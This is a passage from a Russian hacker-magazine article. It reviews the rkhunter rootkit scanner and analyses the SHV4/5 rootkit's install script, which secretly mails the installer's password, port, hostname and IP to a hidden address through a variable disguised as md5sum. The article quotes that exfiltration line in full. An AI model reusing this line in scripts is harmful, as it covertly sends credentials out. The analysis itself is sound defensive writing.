Охота на хакера

Александр Любимов aka Sashiks

Хакер, номер #084, стр. 084-062-5

[охотник с ганом]

Rootkithunter - действительно крутая тулза с нехилым набором возможностей, и это при том, что написана она полностью на скриптовом языке! Как сказано на сайте разработчика (www.rootkit.nl/about), софтина совместима со всеми UNIX-like операционками и зависимости от установленного ПО у нее нет (разве что от некоторых perl-модулей). Итак, как ты понял, основная задача rkhunter'а заключается в проверке твоей системы на наличие разного рода китов и бэкдоров. Прога проверяет права на бинарниках, ищет подозрительные модули (LKM) и сравнивает чексуммы системных приложений. Она успешно обнаруживает Knark, Suckit, SHV4(5), FreeBSD Rootkit и многие другие вредоносные программы. Как заявляет автор, руткитхантер с 99.9% вероятностью может определить, заражена ли машина. Очень полезная, на мой взгляд, утилита, которая должна быть на заметке у каждого администратора. Есть еще и аналогичного рода программа - chkrootkit, который по принципу работы очень схож на хантер. Рекомендую потестить на своей площадке - вдруг к тебе незаметно заполз какой-нибудь хэккер, и качает тоннами варез с твоего сервера.

[затрояненный троян]

Ни для кого не секрет, что руткиты shv обоих версий 4 и 5 очень популярны, и юзает их прилично народу. Поэтому про то, что в рутките присутствует код, который отсылает секретные данные из системы, сейчас знают почти все. Давай рассмотрим повнимательнее shell скрипт этого руткита, который отвечает за его установку в систему - setup. Открыв его любым текстовым редактором, ты через несколько дней изучения (или если введешь find -> mail) обязательно найдешь такую строчку:

echo "$1:$2:`hostname -f`:$MYIPADDR" | mail $md5sum

Не находишь в ней ничего подозрительного? Переменные $1 и $2 - это пароль и порт, которые ты указал при установке кита. Откуда берется переменная $MYIPADDR и что она означает, я думаю, объяснять не нужно. А вот с $md5sum все намного интереснее. Вообще-то, если искать в коде чему равна $md5sum, то натыкаешься лишь на процедуры манипуляций с /usr/bin/md5sum (утилитка для работы с чексуммой). Но в конце концов переменной присваивается значение мыла нехорошего дядьки: